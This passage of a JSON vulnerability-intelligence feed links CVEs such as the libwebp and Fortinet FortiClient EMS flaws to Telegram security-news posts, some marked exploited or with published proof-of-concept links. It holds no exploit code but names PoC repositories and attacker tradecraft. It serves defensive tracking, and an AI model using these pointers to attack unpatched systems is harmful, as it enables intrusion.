"CVE-2023-48803", "type": "seen", "source": "https://t.me/ctinow/157722", "content": "https://ift.tt/WejsoUC\nCVE-2023-48803 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:46.000000Z"}, {"uuid": "bea3d12e-93bb-42b2-8456-fcc857c3d3d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48116", "type": "seen", "source": "https://t.me/ctinow/157792", "content": "https://ift.tt/heAwqn0\nCVE-2023-48116", "creation_timestamp": "2023-12-21T16:28:03.000000Z"}, {"uuid": "5835f89c-2698-495a-85dd-73d0238797aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48115", "type": "seen", "source": "https://t.me/ctinow/157791", "content": "https://ift.tt/ZBLnhdi\nCVE-2023-48115", "creation_timestamp": "2023-12-21T16:28:02.000000Z"}, {"uuid": "c439bf86-fbab-42bf-98ea-0852f7ff5564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48114", "type": "seen", "source": "https://t.me/ctinow/157790", "content": "https://ift.tt/eBdQv72\nCVE-2023-48114", "creation_timestamp": "2023-12-21T16:28:01.000000Z"}, {"uuid": "38c52e12-26cb-47fc-ad79-8eea5d0e6a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48807", "type": "seen", "source": "https://t.me/ctinow/157716", "content": "https://ift.tt/eUlhizD\nCVE-2023-48807 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:39.000000Z"}, {"uuid": "007f304d-4278-418c-8dee-686edc77f27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48812", "type": "seen", "source": "https://t.me/ctinow/157652", "content": "https://ift.tt/ipxZH8J\nCVE-2023-48812 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T12:36:43.000000Z"}, {"uuid": "87226fb6-ed13-4030-b0a8-0064b5c4efec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48288", "type": "seen", "source": "https://t.me/ctinow/157746", "content": "https://ift.tt/oGyiKjZ\nCVE-2023-48288", "creation_timestamp": "2023-12-21T15:21:43.000000Z"}, {"uuid": "1a83d15b-9324-46e2-a8ce-8e6655da0f0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48802", "type": "seen", "source": "https://t.me/ctinow/157721", "content": "https://ift.tt/rDCm6AJ\nCVE-2023-48802 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:45.000000Z"}, {"uuid": "18b7520b-1efd-4578-91e4-7506832038c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48811", "type": "seen", "source": "https://t.me/ctinow/157720", "content": "https://ift.tt/wtRD1Mf\nCVE-2023-48811 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:43.000000Z"}, {"uuid": "f9d84b04-4f6b-4683-aa33-7c37c098ec03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48810", "type": "seen", "source": "https://t.me/ctinow/157719", "content": "https://ift.tt/qRVmcbW\nCVE-2023-48810 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T14:42:42.000000Z"}, {"uuid": "8824f828-600a-4c15-817a-6c2a65d0c3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48752", "type": "seen", "source": "https://t.me/ctinow/157561", "content": "https://ift.tt/XSCxZhG\nCVE-2023-48752 | Happyforms Form Builder to Get in Touch with Visitors Plugin up to 1.25.9 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T09:41:35.000000Z"}, {"uuid": "988aa68f-117f-4f24-b9fc-1bf7143f0b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48746", "type": "seen", "source": "https://t.me/ctinow/157560", "content": "https://ift.tt/IHirGUY\nCVE-2023-48746 | PeepSo Community Plugin up to 6.2.6.0 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T09:41:34.000000Z"}, {"uuid": "cfa9a5b5-d6a1-4434-a041-39330b839f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48913", "type": "seen", "source": "https://t.me/ctinow/157541", "content": "https://ift.tt/cVbyj5A\nCVE-2023-48913 | Dreamer CMS 4.1.3 /admin/archives/delete cross-site request forgery", "creation_timestamp": "2023-12-21T09:11:58.000000Z"}, {"uuid": "2887cc14-f412-4c7c-9a79-15f9b9fa2747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48912", "type": "seen", "source": "https://t.me/ctinow/157536", "content": "https://ift.tt/4i8qsBn\nCVE-2023-48912 | Dreamer CMS 4.1.3 /admin/archives/edit cross-site request forgery", "creation_timestamp": "2023-12-21T08:37:52.000000Z"}, {"uuid": "e7e1602a-ed6b-4fad-8248-ce487500412a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1165", "content": "https://blog.isosceles.com/the-webp-0day/\nGoogle cve-2023-4863\nTechnical Analysis", "creation_timestamp": "2023-09-23T06:34:21.000000Z"}, {"uuid": "ff356e79-7d87-4445-95cf-e6908e57c09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/androidMalware/2019", "content": "\"The WebP 0day\" - a full technical analysis the recently patched vulnerability in the WebP image library that was exploited in the wild (CVE-2023-4863)\nhttps://blog.isosceles.com/the-webp-0day/", "creation_timestamp": "2023-12-30T14:11:16.000000Z"}, {"uuid": "a9293cca-271d-46c3-9a7f-40e509366700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48418", "type": "published-proof-of-concept", "source": "https://t.me/androidMalware/2118", "content": "Android DeviceVersionFragment.java Privilege Escalation Exploit for Pixel Watch (CVE-2023-48418)\nhttps://0day.today/exploit/description/39237", "creation_timestamp": "2024-01-17T11:45:18.000000Z"}, {"uuid": "0713a2e4-d86e-4f04-b588-5eec2c37c132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/androidMalware/2133", "content": "Android-based PAX Technology Point of Sale (POS) vulnerabilities\nCVE-2023-42133 - Reserved\nCVE-2023-42134 - Signed partition overwrite and subsequently local code execution as root via hidden bootloader command\nCVE-2023-42135 - Local code execution as root via kernel parameter injection in fastboot\nCVE-2023-42136 - Privilege escalation from any user/application to system user via shell injection binder-exposed service\nCVE-2023-42137 - Privilege escalation from system/shell user to root via insecure operations in systool_server daemon\nCVE-2023-4818 - Bootloader downgrade via improper tokenization\nhttps://blog.stmcyber.com/pax-pos-cves-2023/", "creation_timestamp": "2024-06-01T21:47:05.000000Z"}, {"uuid": "47185c38-0767-4809-9fbf-c95354aa4bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/xaMGKU4bM2Dmd7eRkdrXMZ8een-qykPJ2XcbshIHzT2sO9FX", "content": "", "creation_timestamp": "2025-05-17T22:10:24.000000Z"}, {"uuid": "640553da-a5af-49d1-969c-174fc0de966f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/theninjaway1337/1491", "content": "Exploit released for Fortinet RCE bug used in attacks, patch now\n\nSecurity researchers have released a proof-of-concept (PoC) exploit for a critical vulnerability in Fortinet's FortiClient Enterprise Management Server (EMS) software, which is now actively exploited in attacks.\n\nTracked as CVE-2023-48788, this security flaw is an SQL injection in the DB2 Administration Server (DAS) component discovered and reported by the UK's National Cyber Security Centre (NCSC).\n\nIt impacts FortiClient EMS versions 7.0 (7.0.1 through 7.0.10) and 7.2 (7.2.0 through 7.2.2), and it enables unauthenticated threat actors to gain remote code execution (RCE) with SYSTEM privileges on unpatched servers in low-complexity attacks that don't require user interaction.\n\n\"An improper neutralization of special elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] in FortiClientEMS may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted requests,\" Fortinet explains in a security advisory released last week.\n\nhttps://www.bleepingcomputer.com/news/security/exploit-released-for-fortinet-rce-bug-used-in-attacks-patch-now/", "creation_timestamp": "2024-03-28T02:41:12.000000Z"}, {"uuid": "da0451eb-d61b-4d07-b1a3-08bbd68bd076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/theninjaway1337/1444", "content": "CVE-2023-48788\n\nMeanwhile CVE from 2023 remains unpatched ... \ud83d\ude05", "creation_timestamp": "2024-03-15T03:53:11.000000Z"}, {"uuid": "f052c92c-d786-43cd-bff1-f13020ed9195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/theninjaway1337/1476", "content": "Exploit released for Fortinet RCE bug used in attacks, patch now\n\nSecurity researchers have released a proof-of-concept (PoC) exploit for a critical vulnerability in Fortinet's FortiClient Enterprise Management Server (EMS) software, which is now actively exploited in attacks.\nTracked as\u00a0CVE-2023-48788, this security flaw is an SQL injection in the DB2 Administration Server (DAS) component discovered and reported by the UK's National Cyber Security Centre (NCSC).\n\nhttps://www.bleepingcomputer.com/news/security/exploit-released-for-fortinet-rce-bug-used-in-attacks-patch-now/", "creation_timestamp": "2024-03-23T17:30:27.000000Z"}, {"uuid": "135650e0-1a84-4a89-910e-c83438f30174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/information_security_channel/50624", "content": "Google Patches Chrome Zero-Day Reported by Apple, Spyware Hunters\nhttps://www.securityweek.com/google-patches-chrome-zero-day-reported-by-apple-spyware-hunters/\n\nGoogle has released a Chrome 116 security update to patch CVE-2023-4863, the fourth Chrome zero-day vulnerability documented in 2023.\nThe post Google Patches Chrome Zero-Day Reported by Apple, Spyware Hunters (https://www.securityweek.com/google-patches-chrome-zero-day-reported-by-apple-spyware-hunters/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-09-12T12:27:47.000000Z"}, {"uuid": "0fb154ed-2767-4455-9c4b-413b7cea9ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/information_security_channel/51808", "content": "Recent Fortinet FortiClient EMS Vulnerability Exploited in Attacks\nhttps://www.securityweek.com/recent-fortinet-forticlient-ems-vulnerability-exploited-in-attacks/\n\nCVE-2023-48788, a critical SQL injection vulnerability in Fortinet\u2019s FortiClient EMS product, is being exploited in the wild.\nThe post Recent Fortinet FortiClient EMS Vulnerability Exploited in Attacks (https://www.securityweek.com/recent-fortinet-forticlient-ems-vulnerability-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-03-26T12:10:12.000000Z"}, {"uuid": "26dbc416-934c-4a8e-bdad-9889123a4660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/information_security_channel/50756", "content": "Companies Address Impact of Exploited Libwebp Vulnerability\u00a0\nhttps://www.securityweek.com/companies-address-impact-of-exploited-libwebp-vulnerability/\n\nCompanies have addressed the impact of the exploited Libwebp vulnerability CVE-2023-4863 on their products.\u00a0\nThe post Companies Address Impact of Exploited Libwebp Vulnerability\u00a0 (https://www.securityweek.com/companies-address-impact-of-exploited-libwebp-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-10-03T13:24:01.000000Z"}, {"uuid": "a610a948-414b-40b4-a4db-59b299aed5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/thehackernews/4345", "content": "\ud83d\udd12 Alert: Researchers have discovered a new SSH protocol vulnerability, \"Terrapin\" (CVE-2023-48795), enabling attackers to downgrade SSH connection security. \n \nLearn more: https://thehackernews.com/2024/01/new-terrapin-flaw-could-let-attackers.html \n \nUpdate and patch your SSH servers ASAP.", "creation_timestamp": "2024-01-01T11:15:04.000000Z"}, {"uuid": "c9c38644-5df4-48e6-ba02-3b8b449a17f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/thehackernews/4678", "content": "\u26a0\ufe0f Vulnerability Alert: Fortinet warns of a severe SQL Injection vulnerability (CVE-2023-48788) in FortiClientEMS allowing unauthenticated attackers to execute code remotely. \n \nDetails: https://thehackernews.com/2024/03/fortinet-warns-of-severe-sqli.html \n \nCheck if your versions are affected and upgrade ASAP!", "creation_timestamp": "2024-03-14T05:23:51.000000Z"}, {"uuid": "c6349f5e-3c2c-47b7-8c98-1610b94e9a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "https://t.me/thehackernews/4738", "content": "\ud83d\udea8 Alert: Hackers are actively exploiting an unpatched flaw in the popular AI platform Anyscale Ray to steal computing power for cryptocurrency mining. \n \nDetails: https://thehackernews.com/2024/03/critical-unpatched-ray-ai-platform.html \n \nThis vulnerability (CVE-2023-48022) could expose sensitive company data.", "creation_timestamp": "2024-03-27T11:46:07.000000Z"}, {"uuid": "736ae583-7a67-4f80-a36b-bb62dd607f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/thehackernews/6075", "content": "\ud83d\uded1 Attackers are exploiting Fortinet's CVE-2023-48788 (CVSS 9.3) to install remote desktop tools like AnyDesk and ScreenConnect. \n \nThey\u2019ve already targeted companies across 12 countries, leveraging: \n \n\u00bb SQL injection for unauthorized access \n\u00bb Password recovery tools like Mimikatz \n\u00bb PowerShell scripts for persistence \n \nDon\u2019t just patch vulnerabilities\u2014assume attackers are already inside. \n \nFind details here: https://thehackernews.com/2024/12/hackers-exploiting-critical-fortinet.html", "creation_timestamp": "2024-12-20T07:30:15.000000Z"}, {"uuid": "018f0996-0f35-4fdc-abea-3b26e76fe220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/thehackernews/3855", "content": "Urgent: Google releases patch for a new Chrome zero-day vulnerability (CVE-2023-4863) that's being exploited in the wild. \n \nRead: https://thehackernews.com/2023/09/google-rushes-to-patch-critical-chrome.html \n \nDon't wait\u2014update your browser now to protect against potential cyber threats.", "creation_timestamp": "2023-09-12T07:20:18.000000Z"}, {"uuid": "95f0fadd-4608-4ba3-a015-d289b6bd2c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/thehackernews/3860", "content": "\u26a0\ufe0f Critical Security Update: Mozilla is urgently fixing a zero-day vulnerability (CVE-2023-4863), actively exploited in browsers. It can be triggered by tricking victims into opening a malicious WebP image. \n \nRead: https://thehackernews.com/2023/09/mozilla-rushes-to-patch-webp-critical.html", "creation_timestamp": "2023-09-13T03:53:51.000000Z"}, {"uuid": "3e637072-ae99-4e86-8f8d-738c73bdee84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/xakep_ru/14682", "content": "Mozilla \u043f\u0430\u0442\u0447\u0438\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0432 Firefox \u0438 Thunderbird \u0432\u0441\u043b\u0435\u0434 \u0437\u0430 Apple \u0438 Google\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 Firefox \u0438 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Thunderbird. \u0422\u0443 \u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 WebP (libwebp), \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Google.\n\nhttps://xakep.ru/2023/09/14/cve-2023-4863-mozilla/", "creation_timestamp": "2023-09-14T12:35:59.000000Z"}, {"uuid": "fdcd03f4-5a8d-4b92-9362-c35b3e9c4e5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ZerodayAlert/195", "content": "", "creation_timestamp": "2026-07-06T11:00:12.441591Z"}, {"uuid": "83620129-5b71-4a21-80af-a963177c6b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/thebugbountyhunter/8151", "content": "A Vulnerability to Hack The World - CVE-2023-4863\n\nhttps://www.youtube.com/watch?v=lAyhKaclsPM", "creation_timestamp": "2023-12-22T14:01:25.000000Z"}, {"uuid": "0422d664-5cdb-49d9-b3e8-4109d7f11c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/CyberBulletin/25518", "content": "\u26a1\ufe0fMedusa Exploits Fortinet Flaw (CVE-2023-48788) for Stealthy Ransomware Attacks.\n\n#CyberBulletin", "creation_timestamp": "2024-09-21T03:00:55.000000Z"}, {"uuid": "4f849e77-395e-4c79-8d69-caabbd27eff8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/CyberBulletin/26869", "content": "\u26a1\ufe0fAttackers are exploiting Fortinet's CVE-2023-48788 (CVSS 9.3) to install remote desktop tools like AnyDesk and ScreenConnect.\n\n#CyberBulletin", "creation_timestamp": "2024-12-20T16:21:50.000000Z"}, {"uuid": "ecdc7d48-6cef-468e-a44e-585c1742225b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1797", "content": "https://github.com/f3lze3/CVE-2023-48864\n\nSemcms v4.8 web_inc.php SQL Injection\n\n#github", "creation_timestamp": "2024-01-04T08:55:27.000000Z"}, {"uuid": "155f13b9-d686-411f-86ce-7d0dd132364b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48003", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1990", "content": "https://github.com/passtheticket/vulnerability-research/blob/main/aspnetzero_html_injection_via_websockets_messages.md\n\nAsp.Net Zero v12.3.0 - HTML Injection Leads To Open Redirect via Websockets (CVE-2023-48003)\n#github #exploit", "creation_timestamp": "2024-02-17T11:44:28.000000Z"}, {"uuid": "7c0726d9-3de9-4dc3-a714-1b1e6c5abd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2160", "content": "https://github.com/horizon3ai/CVE-2023-48788\n\nFortinet FortiClient EMS SQL Injection\n#github #poc", "creation_timestamp": "2024-03-22T21:24:15.000000Z"}, {"uuid": "2e98f14a-4a06-4eab-b7f8-b61a7b82da4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/S_E_Reborn/5491", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0437\u0430 2024 \u0433\u043e\u0434.\n\n\u0412 \u043d\u0435\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c, \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 GERT, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u043f\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c, ransomware \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0433\u043e\u0434\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0440\u043e\u0441\u0442 \u0434\u043e\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0421\u041d\u0413 (50,6%), \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435 (15,7%) \u0438 \u0432 \u0415\u0432\u0440\u043e\u043f\u0435 (10,8%).\n\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 IR-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043e\u0442\u0440\u0430\u0441\u043b\u044f\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 2023 \u0433\u043e\u0434\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0432 \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 (23,5%), \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 (16,3%) \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 (13,3%) \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u0431\u043e\u043b\u044c\u0448\u0438\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 